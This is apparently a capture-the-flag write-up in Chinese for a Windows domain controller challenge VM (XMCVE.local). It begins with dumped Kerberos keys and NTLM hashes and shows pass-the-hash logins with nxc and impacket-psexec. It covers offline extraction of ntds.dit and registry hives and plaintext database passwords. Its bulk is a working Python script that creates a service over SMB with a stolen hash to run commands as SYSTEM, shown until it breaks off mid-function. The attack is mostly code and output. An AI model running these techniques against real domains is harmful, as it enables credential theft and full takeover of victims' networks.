XMCVE.local\mowen:des-cbc-md5:231c7a2a3708029d
XMCVE.local\sales:aes256-cts-hmac-sha1-96:16ca24589ae3946d2
703f01517ce6690ba5f047caee666ac1d8fb080818b38d9
XMCVE.local\sales:aes128-cts-hmac-sha1-96:b89a5e96aa7076406
58d8cd44346d373
XMCVE.local\sales:des-cbc-md5:735125852ad66dd6 XMCVE.local\support:aes256-cts-hmac-sha1-96:18b8e74980ad358 e873dd99697c2e03c45cba28d44fda669cb311228fce34f74 XMCVE.local\support:aes128-cts-hmac-sha1-96:ec7850f423890ba
5c01a4968e18916f9
XMCVE.local\support:des-cbc-md5:389bfee35e4f7620
XMCVE.local\it:aes256-cts-hmac-sha1-96:9a449caeff406780cd9d
064fd51524df50eae35fcef19915a0ac5dfbd2afdaaf XMCVE.local\it:aes128-cts-hmac-sha1-96:53ec1190fb189b97c666 c2dc199a1132 XMCVE.local\it:des-cbc-md5:1c2686548a9d4a16
XMCVE.local\hr:aes256-cts-hmac-sha1-96:de4a4f2a15ef2a47f055
791f5042a376090cee935dd1907f6efd8ca3bd4e8fa4 XMCVE.local\hr:aes128-cts-hmac-sha1-96:6bafbe4835641707bf1e a4f16510e016 XMCVE.local\hr:des-cbc-md5:ce9113948c738913
XMCVE.local\admin:aes256-cts-hmac-sha1-96:2e64fb40f4b6b9d9c
280f7ff87a7f2c37167d53d28352684b2fd53cd3d9c135a
XMCVE.local\admin:aes128-cts-hmac-sha1-96:741a205f3dbe24d95
9f2ced9e7cfea8b
XMCVE.local\admin:des-cbc-md5:49d9c74562bca1ce XMCVE.local\sqlsvc:aes256-cts-hmac-sha1-96:908e3dfe7822951c c25e6639a69a568708050cca32159836d83f977d982874feXMCVE.local\sqlsvc:aes128-cts-hmac-sha1-96:adbd4b00d8ac0d8d
4f0b0f5a7ee3999b
XMCVE.local\sqlsvc:des-cbc-md5:e9a292087902f10d CASTLEVANIA$:aes256-cts-hmac-sha1-96:fc320757aa82369c8e3e68 a68b43f1afc78f1c8f4c86a08a9c11cd822cbce051 CASTLEVANIA$:aes128-cts-hmac-sha1-96:bdfe62da40fc7daf73f4ab d6549e431a CASTLEVANIA$:des-cbc-md5:375162a731320467
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;nxc&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;└─$ nxc smb $ip -u Administrator -H d94f9831271e229dbc6e712097b63168 
SMB         10.200.26.154   445    CASTLEVANIA      [*] Win dows 10 / Server 2019 Build 17763 x64 (name:CASTLEVANIA) (domin:XMCVE.local) (signing:True) (SMBv1:False) 
SMB         10.200.26.154   445    CASTLEVANIA      [+] XMC VE.local\Administrator:d94f9831271e229dbc6e712097b63168 (Pwn3d!)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;psexec&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;└─$ impacket-psexec &amp;quot;XMCVE.local/administrator@$ip&amp;quot; -hashes :d94f9831271e229dbc6e712097b63168 -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
[*] Requesting shares on 10.200.26.154.....
[*] Found writable share ADMIN$
[*] Uploading file LxghSxwo.exe [*] Opening SVCManager on 10.200.26.154.....
[*] Creating service hrnm on 10.200.26.154.....
[*] Starting service hrnm.....
[!] Press help for extra shell commands                      
Microsoft Windows [Version 10.0.17763.107] (c) 2018 Microsoft Corporation????????  
C:\Windows\system32&amp;gt; so fucking ez&amp;#39;so&amp;#39; is not recognized as an internal or external command, operable program or batch file.
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;ai幻神之力（本地挂载）&lt;/h1&gt;
&lt;h2&gt;详细复现过程&lt;/h2&gt;
&lt;h3&gt;1. 本地搭建&lt;/h3&gt;
&lt;p&gt;题目附件是整机镜像 &lt;code&gt;Bloodstained.ova&lt;/code&gt;。本地没有直接可用的官方 VirtualBox 7.2.0 图形界面环境，所以我直接用 &lt;code&gt;VBoxManage.exe&lt;/code&gt; 做手工导入和挂盘。&lt;/p&gt;
&lt;p&gt;实际跑通时使用到的关键环境如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;C:\Program Files\ldplayer9box\VBoxManage.exe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;D:\Python\Python311\python.exe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;D:\Python\Python311\Scripts\secretsdump.py&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wsl.exe -d kali-linux&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;处理方式不是直接 &lt;code&gt;VBoxManage import&lt;/code&gt;，而是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;从 &lt;code&gt;Bloodstained.ova&lt;/code&gt; 解出 &lt;code&gt;Bloodstained.ovf&lt;/code&gt; 和 &lt;code&gt;Bloodstained 1-disk001.vmdk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;把 &lt;code&gt;streamOptimized&lt;/code&gt; 的 VMDK 转成可直接挂载的 VDI&lt;/li&gt;
&lt;li&gt;手工创建 &lt;code&gt;Windows2019_64&lt;/code&gt; 虚拟机并挂盘&lt;/li&gt;
&lt;li&gt;配置 NAT 端口转发&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;端口转发实际使用的是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;127.0.0.1:18080 -&amp;gt; 80
127.0.0.1:10389 -&amp;gt; 389
127.0.0.1:11433 -&amp;gt; 1433
127.0.0.1:10445 -&amp;gt; 445
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;虚拟机启动后，确认到：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;主机名：&lt;code&gt;CASTLEVANIA&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;域名：&lt;code&gt;XMCVE.local&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. 在线确认与离线取证&lt;/h3&gt;
&lt;p&gt;先做最小在线确认：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Web 首页在 &lt;code&gt;http://127.0.0.1:18080/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;LDAP RootDSE 匿名可读&lt;/li&gt;
&lt;li&gt;&lt;code&gt;defaultNamingContext: DC=XMCVE,DC=local&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dnsHostName: CASTLEVANIA.XMCVE.local&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;随后改走离线链路，从 VMDK 里直接导出关键文件：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/Windows/NTDS/ntds.dit&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/Windows/System32/config/SYSTEM&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/Windows/System32/config/SECURITY&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/inetpub/wwwroot&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;站点目录里还可以看到一个明文连接文件 &lt;code&gt;poo_connection.txt&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;server=localhost;
user=wuwupor;
password=lovlyBaby
database=master
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这说明题目环境里确实存在 IIS + MSSQL，但这组数据库凭据本身不是最后拿管理员 shell 的关键。&lt;/p&gt;
&lt;h3&gt;3. 离线导出域控凭据&lt;/h3&gt;
&lt;p&gt;对离线导出的三件套执行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;python secretsdump.py -system offline/hives/SYSTEM \
  -security offline/hives/SECURITY \
  -ntds offline/hives/ntds.dit LOCAL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到两个关键结果：&lt;/p&gt;
&lt;p&gt;一是 LSA Secret 里有 MSSQL 服务口令：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;_SC_MSSQLSERVER
(Unknown User):Sql!2026
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;二是直接解出了域控账号哈希，其中最关键的是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Administrator:500:aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168:::
Alucard:1000:aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168:::
XMCVE.local\sqlsvc:1112:aad3b435b51404eeaad3b435b51404ee:d93ef04edb808c5bce3a5bd67b936ca9:::
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里 &lt;code&gt;Administrator&lt;/code&gt; 的 NTLM 为：&lt;/p&gt;
&lt;p&gt;d94f9831271e229dbc6e712097b63168&lt;/p&gt;
&lt;h3&gt;4. 拿管理员 shell&lt;/h3&gt;
&lt;p&gt;最终没有再依赖单独的 &lt;code&gt;psexec_anyport.py&lt;/code&gt;。现在的做法是把远程执行逻辑直接写进一个单文件脚本里：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;从 &lt;code&gt;artifacts_secretsdump.txt&lt;/code&gt; 自动提取 &lt;code&gt;Administrator&lt;/code&gt; 哈希&lt;/li&gt;
&lt;li&gt;连接 &lt;code&gt;127.0.0.1:10445&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;通过 &lt;code&gt;svcctl&lt;/code&gt; 创建临时服务&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;cmd.exe&lt;/code&gt; 落一个临时 &lt;code&gt;.bat&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;执行 &lt;code&gt;whoami&lt;/code&gt; 和 &lt;code&gt;hostname&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;从 &lt;code&gt;ADMIN$\\Temp\\&lt;/code&gt; 把输出回读回来&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;实测输出为：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;whoami    -&amp;gt; nt authority\system
hostname  -&amp;gt; CASTLEVANIA
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这说明已经在目标域控上拿到了 &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt; 级别的命令执行，满足“拿到 Administrator shell”的要求。&lt;/p&gt;
&lt;h3&gt;5. 一键脚本说明&lt;/h3&gt;
&lt;p&gt;现在只保留一份主脚本：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;babydc_unified.py&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;它包含两个入口：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;python .\babydc_unified.py full
python .\babydc_unified.py verify
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;含义分别是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;full&lt;/code&gt;：从当前目录里的 &lt;code&gt;Bloodstained.ova&lt;/code&gt; 出发，完成虚拟机准备、离线导出、&lt;code&gt;secretsdump&lt;/code&gt;、管理员权限验证&lt;/li&gt;
&lt;li&gt;&lt;code&gt;verify&lt;/code&gt;：如果 &lt;code&gt;artifacts_secretsdump.txt&lt;/code&gt; 已经存在，只做管理员 shell 校验&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我实际跑通的命令是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;D:\Python\Python311\python.exe .\babydc_unified.py --python D:\Python\Python311\python.exe verify
D:\Python\Python311\python.exe .\babydc_unified.py --python D:\Python\Python311\python.exe full
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中 &lt;code&gt;full&lt;/code&gt; 模式在虚拟机刚启动时，域控服务有一个短暂的未就绪窗口，所以脚本里加入了自动重试。实测会在若干次 &lt;code&gt;STATUS_LOGON_FAILURE&lt;/code&gt; 之后继续跑通，这属于正常现象。&lt;/p&gt;
&lt;h2&gt;一键可复现代码&lt;/h2&gt;
&lt;p&gt;当前最终版脚本全文如下，直接保存为 &lt;code&gt;babydc_unified.py&lt;/code&gt; 即可使用：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;import argparse
import os
import random
import re
import shutil
import string
import subprocess
import sys
import time
from pathlib import Path

from impacket.dcerpc.v5 import scmr, transport


ROOT = Path(__file__).resolve().parent
VM_NAME = &amp;quot;Bloodstained&amp;quot;
DEFAULT_OVA = ROOT / &amp;quot;Bloodstained.ova&amp;quot;
DEFAULT_OVF = ROOT / &amp;quot;Bloodstained.ovf&amp;quot;
DEFAULT_VMDK = ROOT / &amp;quot;Bloodstained 1-disk001.vmdk&amp;quot;
DEFAULT_VM_DIR = ROOT / &amp;quot;vm&amp;quot; / VM_NAME
DEFAULT_VDI = DEFAULT_VM_DIR / f&amp;quot;{VM_NAME}.vdi&amp;quot;
DEFAULT_VBOX_HOME = ROOT / &amp;quot;.vboxhome&amp;quot;
DEFAULT_OFFLINE_DIR = ROOT / &amp;quot;offline&amp;quot; / &amp;quot;hives&amp;quot;
DEFAULT_DUMP = ROOT / &amp;quot;artifacts_secretsdump.txt&amp;quot;
DEFAULT_WHOAMI = ROOT / &amp;quot;artifacts_system_whoami.txt&amp;quot;
DEFAULT_HOSTNAME = ROOT / &amp;quot;artifacts_system_hostname.txt&amp;quot;


def run_command(args, *, cwd=None, env=None, check=True, capture=True):
    proc = subprocess.run(
        args,
        cwd=cwd,
        env=env,
        check=False,
        capture_output=capture,
        text=True,
        encoding=&amp;quot;utf-8&amp;quot;,
        errors=&amp;quot;backslashreplace&amp;quot;,
    )
    if check and proc.returncode != 0:
        details = proc.stdout
        if proc.stderr:
            details = f&amp;quot;{details}\n{proc.stderr}&amp;quot; if details else proc.stderr
        raise RuntimeError(f&amp;quot;command failed ({proc.returncode}): {&amp;#39; &amp;#39;.join(map(str, args))}\n{details}&amp;quot;.rstrip())
    return proc


def ensure_exists(path: Path, hint: str) -&amp;gt; None:
    if not path.exists():
        raise RuntimeError(f&amp;quot;missing required file: {path}\n{hint}&amp;quot;)


def find_vboxmanage() -&amp;gt; Path:
    candidates = [
        Path(r&amp;quot;C:\Program Files\Oracle\VirtualBox\VBoxManage.exe&amp;quot;),
        Path(r&amp;quot;C:\Program Files\ldplayer9box\VBoxManage.exe&amp;quot;),
    ]
    for candidate in candidates:
        if candidate.exists():
            return candidate
    found = shutil.which(&amp;quot;VBoxManage.exe&amp;quot;) or shutil.which(&amp;quot;VBoxManage&amp;quot;)
    if found:
        return Path(found)
    raise RuntimeError(&amp;quot;VBoxManage.exe not found. Install VirtualBox 7.2.0 or adjust PATH.&amp;quot;)


def find_wsl() -&amp;gt; Path:
    found = shutil.which(&amp;quot;wsl.exe&amp;quot;)
    if not found:
        raise RuntimeError(&amp;quot;wsl.exe not found. WSL with kali-linux is required for virt-copy-out.&amp;quot;)
    return Path(found)


def find_secretsdump(default_python: Path) -&amp;gt; Path:
    candidates = [
        default_python.parent / &amp;quot;Scripts&amp;quot; / &amp;quot;secretsdump.py&amp;quot;,
        Path(r&amp;quot;D:\Python\Python311\Scripts\secretsdump.py&amp;quot;),
    ]
    for candidate in candidates:
        if candidate.exists():
            return candidate
    raise RuntimeError(&amp;quot;secretsdump.py not found. Install impacket for the Python interpreter you will use.&amp;quot;)


def vbox(vboxmanage: Path, vbox_home: Path, *args: str) -&amp;gt; subprocess.CompletedProcess:
    env = os.environ.copy()
    env[&amp;quot;VBOX_USER_HOME&amp;quot;] = str(vbox_home)
    return run_command([str(vboxmanage), *args], env=env)


def convert_to_wsl_path(path: Path) -&amp;gt; str:
    full = path.resolve()
    drive = full.drive[:1].lower()
    rest = full.as_posix()[2:]
    return f&amp;quot;/mnt/{drive}{rest}&amp;quot;


def ensure_ova_extracted(ova: Path, ovf: Path, vmdk: Path) -&amp;gt; None:
    ensure_exists(ova, &amp;quot;Place the challenge OVA in the current directory.&amp;quot;)
    if ovf.exists() and vmdk.exists():
        return
    run_command([&amp;quot;tar&amp;quot;, &amp;quot;-xf&amp;quot;, str(ova), ovf.name, vmdk.name], cwd=ova.parent)


def ensure_vdi(vboxmanage: Path, vmdk: Path, vdi: Path) -&amp;gt; None:
    if vdi.exists():
        return
    vdi.parent.mkdir(parents=True, exist_ok=True)
    run_command([str(vboxmanage), &amp;quot;clonemedium&amp;quot;, &amp;quot;disk&amp;quot;, str(vmdk), str(vdi), &amp;quot;--format&amp;quot;, &amp;quot;VDI&amp;quot;])


def ensure_vm_registered(vboxmanage: Path, vbox_home: Path, vm_dir: Path, vdi: Path) -&amp;gt; None:
    vm_dir.mkdir(parents=True, exist_ok=True)
    vbox_home.mkdir(parents=True, exist_ok=True)
    vbox(vboxmanage, vbox_home, &amp;quot;list&amp;quot;, &amp;quot;systemproperties&amp;quot;)
    vm_list = vbox(vboxmanage, vbox_home, &amp;quot;list&amp;quot;, &amp;quot;vms&amp;quot;).stdout
    vmx = vm_dir / f&amp;quot;{VM_NAME}.vbox&amp;quot;
    if f&amp;#39;&amp;quot;{VM_NAME}&amp;quot;&amp;#39; not in vm_list:
        if vmx.exists():
            vbox(vboxmanage, vbox_home, &amp;quot;registervm&amp;quot;, str(vmx))
        else:
            vbox(vboxmanage, vbox_home, &amp;quot;createvm&amp;quot;, &amp;quot;--name&amp;quot;, VM_NAME, &amp;quot;--basefolder&amp;quot;, str(ROOT / &amp;quot;vm&amp;quot;), &amp;quot;--ostype&amp;quot;, &amp;quot;Windows2019_64&amp;quot;, &amp;quot;--register&amp;quot;)
            vbox(
                vboxmanage,
                vbox_home,
                &amp;quot;modifyvm&amp;quot;,
                VM_NAME,
                &amp;quot;--memory&amp;quot;,
                &amp;quot;2048&amp;quot;,
                &amp;quot;--cpus&amp;quot;,
                &amp;quot;1&amp;quot;,
                &amp;quot;--firmware&amp;quot;,
                &amp;quot;bios&amp;quot;,
                &amp;quot;--ioapic&amp;quot;,
                &amp;quot;on&amp;quot;,
                &amp;quot;--pae&amp;quot;,
                &amp;quot;off&amp;quot;,
                &amp;quot;--vram&amp;quot;,
                &amp;quot;128&amp;quot;,
                &amp;quot;--graphicscontroller&amp;quot;,
                &amp;quot;vboxsvga&amp;quot;,
                &amp;quot;--boot1&amp;quot;,
                &amp;quot;disk&amp;quot;,
                &amp;quot;--boot2&amp;quot;,
                &amp;quot;dvd&amp;quot;,
                &amp;quot;--boot3&amp;quot;,
                &amp;quot;none&amp;quot;,
                &amp;quot;--boot4&amp;quot;,
                &amp;quot;none&amp;quot;,
                &amp;quot;--audio&amp;quot;,
                &amp;quot;none&amp;quot;,
            )
            vbox(vboxmanage, vbox_home, &amp;quot;storagectl&amp;quot;, VM_NAME, &amp;quot;--name&amp;quot;, &amp;quot;SATA&amp;quot;, &amp;quot;--add&amp;quot;, &amp;quot;sata&amp;quot;, &amp;quot;--controller&amp;quot;, &amp;quot;IntelAhci&amp;quot;)

    info = vbox(vboxmanage, vbox_home, &amp;quot;showvminfo&amp;quot;, VM_NAME, &amp;quot;--machinereadable&amp;quot;).stdout
    if &amp;#39;&amp;quot;SATA-0-0&amp;quot;=&amp;quot;none&amp;quot;&amp;#39; in info:
        vbox(
            vboxmanage,
            vbox_home,
            &amp;quot;storageattach&amp;quot;,
            VM_NAME,
            &amp;quot;--storagectl&amp;quot;,
            &amp;quot;SATA&amp;quot;,
            &amp;quot;--port&amp;quot;,
            &amp;quot;0&amp;quot;,
            &amp;quot;--device&amp;quot;,
            &amp;quot;0&amp;quot;,
            &amp;quot;--type&amp;quot;,
            &amp;quot;hdd&amp;quot;,
            &amp;quot;--medium&amp;quot;,
            str(vdi),
        )


def ensure_nat_rules(vboxmanage: Path, vbox_home: Path) -&amp;gt; None:
    forwards = [
        &amp;quot;http,tcp,127.0.0.1,18080,,80&amp;quot;,
        &amp;quot;ldap,tcp,127.0.0.1,10389,,389&amp;quot;,
        &amp;quot;mssql,tcp,127.0.0.1,11433,,1433&amp;quot;,
        &amp;quot;smb,tcp,127.0.0.1,10445,,445&amp;quot;,
    ]
    info = vbox(vboxmanage, vbox_home, &amp;quot;showvminfo&amp;quot;, VM_NAME, &amp;quot;--machinereadable&amp;quot;).stdout
    for rule in forwards:
        name = rule.split(&amp;quot;,&amp;quot;, 1)[0]
        pattern = re.compile(rf&amp;#39;^Forwarding\(\d+\)=&amp;quot;{re.escape(name)},&amp;#39;, re.MULTILINE)
        if not pattern.search(info):
            vbox(vboxmanage, vbox_home, &amp;quot;modifyvm&amp;quot;, VM_NAME, &amp;quot;--natpf1&amp;quot;, rule)


def get_vm_state(vboxmanage: Path, vbox_home: Path) -&amp;gt; str:
    info = vbox(vboxmanage, vbox_home, &amp;quot;showvminfo&amp;quot;, VM_NAME, &amp;quot;--machinereadable&amp;quot;).stdout
    match = re.search(r&amp;#39;^VMState=&amp;quot;([^&amp;quot;]+)&amp;quot;$&amp;#39;, info, re.MULTILINE)
    return match.group(1) if match else &amp;quot;unknown&amp;quot;


def restart_vm(vboxmanage: Path, vbox_home: Path, boot_wait: int) -&amp;gt; None:
    state = get_vm_state(vboxmanage, vbox_home)
    if state == &amp;quot;running&amp;quot;:
        vbox(vboxmanage, vbox_home, &amp;quot;controlvm&amp;quot;, VM_NAME, &amp;quot;poweroff&amp;quot;)
        time.sleep(3)
    vbox(vboxmanage, vbox_home, &amp;quot;startvm&amp;quot;, VM_NAME, &amp;quot;--type&amp;quot;, &amp;quot;headless&amp;quot;)
    time.sleep(boot_wait)


def copy_offline_hives(wsl_exe: Path, work_root: Path, offline_dir: Path, distro: str, vmdk: Path) -&amp;gt; None:
    offline_dir.mkdir(parents=True, exist_ok=True)
    wsl_root = convert_to_wsl_path(work_root)
    wsl_vmdk = convert_to_wsl_path(vmdk)
    script = &amp;quot;\n&amp;quot;.join(
        [
            &amp;quot;set -e&amp;quot;,
            f&amp;quot;cd &amp;#39;{wsl_root}&amp;#39;&amp;quot;,
            &amp;quot;mkdir -p offline/hives&amp;quot;,
            f&amp;quot;virt-copy-out -a &amp;#39;{wsl_vmdk}&amp;#39; /Windows/NTDS/ntds.dit offline/hives/&amp;quot;,
            f&amp;quot;virt-copy-out -a &amp;#39;{wsl_vmdk}&amp;#39; /Windows/System32/config/SYSTEM offline/hives/&amp;quot;,
            f&amp;quot;virt-copy-out -a &amp;#39;{wsl_vmdk}&amp;#39; /Windows/System32/config/SECURITY offline/hives/&amp;quot;,
        ]
    )
    run_command([str(wsl_exe), &amp;quot;-u&amp;quot;, &amp;quot;root&amp;quot;, &amp;quot;-d&amp;quot;, distro, &amp;quot;--&amp;quot;, &amp;quot;bash&amp;quot;, &amp;quot;-lc&amp;quot;, script])


def run_secretsdump(python_exe: Path, secretsdump: Path, offline_dir: Path, dump_path: Path) -&amp;gt; None:
    system_hive = offline_dir / &amp;quot;SYSTEM&amp;quot;
    security_hive = offline_dir / &amp;quot;SECURITY&amp;quot;
    ntds = offline_dir / &amp;quot;ntds.dit&amp;quot;
    ensure_exists(system_hive, &amp;quot;Offline SYSTEM hive is required.&amp;quot;)
    ensure_exists(security_hive, &amp;quot;Offline SECURITY hive is required.&amp;quot;)
    ensure_exists(ntds, &amp;quot;Offline NTDS.dit is required.&amp;quot;)
    proc = run_command(
        [
            str(python_exe),
            str(secretsdump),
            &amp;quot;-system&amp;quot;,
            str(system_hive),
            &amp;quot;-security&amp;quot;,
            str(security_hive),
            &amp;quot;-ntds&amp;quot;,
            str(ntds),
            &amp;quot;LOCAL&amp;quot;,
        ]
    )
    dump_path.write_text(proc.stdout, encoding=&amp;quot;utf-8&amp;quot;)


def read_text_auto(path: Path) -&amp;gt; str:
    raw = path.read_bytes()
    for encoding in (&amp;quot;utf-8&amp;quot;, &amp;quot;utf-16&amp;quot;, &amp;quot;utf-16-le&amp;quot;, &amp;quot;utf-16-be&amp;quot;, &amp;quot;gbk&amp;quot;):
        try:
            return raw.decode(encoding)
        except UnicodeDecodeError:
            continue
    return raw.decode(&amp;quot;utf-8&amp;quot;, errors=&amp;quot;ignore&amp;quot;)


def extract_hash_line(dump_path: Path, account: str) -&amp;gt; str:
    pattern = re.compile(rf&amp;quot;{re.escape(account)}:\d+:[0-9a-fA-F]{{32}}:[0-9a-fA-F]{{32}}:::&amp;quot;)
    for line in read_text_auto(dump_path).splitlines():
        match = pattern.search(line)
        if match:
            return match.group(0)
    raise RuntimeError(f&amp;quot;could not find hash line for {account} in {dump_path}&amp;quot;)


def parse_hash_line(hash_line: str) -&amp;gt; tuple[str, str]:
    parts = hash_line.strip().split(&amp;quot;:&amp;quot;)
    if len(parts) &amp;lt; 4:
        raise RuntimeError(f&amp;quot;invalid hash line: {hash_line}&amp;quot;)
    return parts[2], parts[3]


def random_tag(prefix: str, length: int = 8) -&amp;gt; str:
    return prefix + &amp;quot;&amp;quot;.join(random.choice(string.ascii_letters) for _ in range(length))


def escape_for_cmd_echo(command: str) -&amp;gt; str:
    replacements = {
        &amp;quot;^&amp;quot;: &amp;quot;^^&amp;quot;,
        &amp;quot;&amp;amp;&amp;quot;: &amp;quot;^&amp;amp;&amp;quot;,
        &amp;quot;&amp;lt;&amp;quot;: &amp;quot;^&amp;lt;&amp;quot;,
        &amp;quot;&amp;gt;&amp;quot;: &amp;quot;^&amp;gt;&amp;quot;,
        &amp;quot;|&amp;quot;: &amp;quot;^|&amp;quot;,
    }
    escaped = []
    for char in command:
        escaped.append(replacements.get(char, char))
    return &amp;quot;&amp;quot;.join(escaped)


def smbexec_one_shot(
    *,
    target_name: str,
    target_ip: str,
    smb_port: int,
    domain: str,
    username: str,
    password: str,
    lmhash: str,
    nthash: str,
    command: str,
) -&amp;gt; str:
    stringbinding = rf&amp;quot;ncacn_np:{target_name}[\pipe\svcctl]&amp;quot;
    rpc_transport = transport.DCERPCTransportFactory(stringbinding)
    rpc_transport.setRemoteHost(target_ip)
    rpc_transport.set_dport(smb_port)
    rpc_transport.set_credentials(username, password, domain, lmhash, nthash, None)

    dce = rpc_transport.get_dce_rpc()
    dce.connect()
    dce.bind(scmr.MSRPC_UUID_SCMR)

    smb_conn = rpc_transport.get_smb_connection()
    smb_conn.setTimeout(100000)

    scm_handle = scmr.hROpenSCManagerW(dce)[&amp;quot;lpScHandle&amp;quot;]
    service_name = random_tag(&amp;quot;svc&amp;quot;)
    output_name = random_tag(&amp;quot;out&amp;quot;) + &amp;quot;.txt&amp;quot;
    batch_name = random_tag(&amp;quot;job&amp;quot;) + &amp;quot;.bat&amp;quot;
    output_path = rf&amp;quot;C:\Windows\Temp\{output_name}&amp;quot;
    batch_path = rf&amp;quot;C:\Windows\Temp\{batch_name}&amp;quot;
    batch_body = f&amp;quot;{escape_for_cmd_echo(command)} ^&amp;gt; {output_path} 2^&amp;gt;^&amp;amp;1&amp;quot;
    binary_path = (
        rf&amp;quot;C:\Windows\System32\cmd.exe /Q /c &amp;quot;
        rf&amp;quot;echo {batch_body} &amp;gt; {batch_path} &amp;amp; &amp;quot;
        rf&amp;quot;C:\Windows\System32\cmd.exe /Q /c {batch_path} &amp;amp; &amp;quot;
        rf&amp;quot;del {batch_path}&amp;quot;
    )

    service_handle = None
    try:
        resp = scmr.hRCreateServiceW(
            dce,
            scm_handle,
            service_name,
            service_name,
            lpBinaryPathName=binary_path,
            dwStartType=scmr.SERVICE_DEMAND_START,
        )
        service_handle = resp[&amp;quot;lpServiceHandle&amp;quot;]
        try:
            scmr.hRStartServiceW(dce, service_handle)
        except Exception:
            pass

        time.sleep(1)

        last_error = None
        for _ in range(30):
            try:
                chunks = []

                def callback(data: bytes) -&amp;gt; None:
                    chunks.append(data)

                smb_conn.getFile(&amp;quot;ADMIN$&amp;quot;, rf&amp;quot;Temp\{output_name}&amp;quot;, callback)
                output = b&amp;quot;&amp;quot;.join(chunks).decode(&amp;quot;utf-8&amp;quot;, errors=&amp;quot;backslashreplace&amp;quot;)
                if output.strip():
                    smb_conn.deleteFile(&amp;quot;ADMIN$&amp;quot;, rf&amp;quot;Temp\{output_name}&amp;quot;)
                    return output
            except Exception as exc:
                last_error = exc
            time.sleep(1)
        raise RuntimeError(f&amp;quot;timed out waiting for remote output file {output_name}: {last_error}&amp;quot;)
    finally:
        if service_handle is not None:
            try:
                scmr.hRDeleteService(dce, service_handle)
            except Exception:
                pass
            try:
                scmr.hRCloseServiceHandle(dce, service_handle)
            except Exception:
                pass
        try:
            scmr.hRCloseServiceHandle(dce, scm_handle)
        except Exception:
            pass
        try:
            dce.disconnect()
        except Exception:
            pass


def extract_proof(output: str, command: str) -&amp;gt; str:
    cleaned = re.sub(r&amp;quot;[\x00-\x08\x0b-\x1f]&amp;quot;, &amp;quot;&amp;quot;, output)
    if command == &amp;quot;whoami&amp;quot;:
        match = re.search(r&amp;quot;(?im)^\s*(nt authority\\system)\s*$&amp;quot;, cleaned)
    elif command == &amp;quot;hostname&amp;quot;:
        match = re.search(r&amp;quot;(?im)^\s*(CASTLEVANIA)\s*$&amp;quot;, cleaned)
    else:
        match = None
    if not match:
        raise RuntimeError(f&amp;quot;failed to extract proof line for {command}&amp;quot;)
    return match.group(1)


def verify_shell(
    *,
    dump_path: Path,
    hash_line: str | None,
    domain: str,
    username: str,
    target_name: str,
    target_ip: str,
    smb_port: int,
    whoami_path: Path,
    hostname_path: Path,
    retries: int,
    retry_delay: int,
) -&amp;gt; tuple[str, str]:
    if not hash_line:
        ensure_exists(dump_path, &amp;quot;Run the full mode first or provide --hash-line.&amp;quot;)
        hash_line = extract_hash_line(dump_path, username)

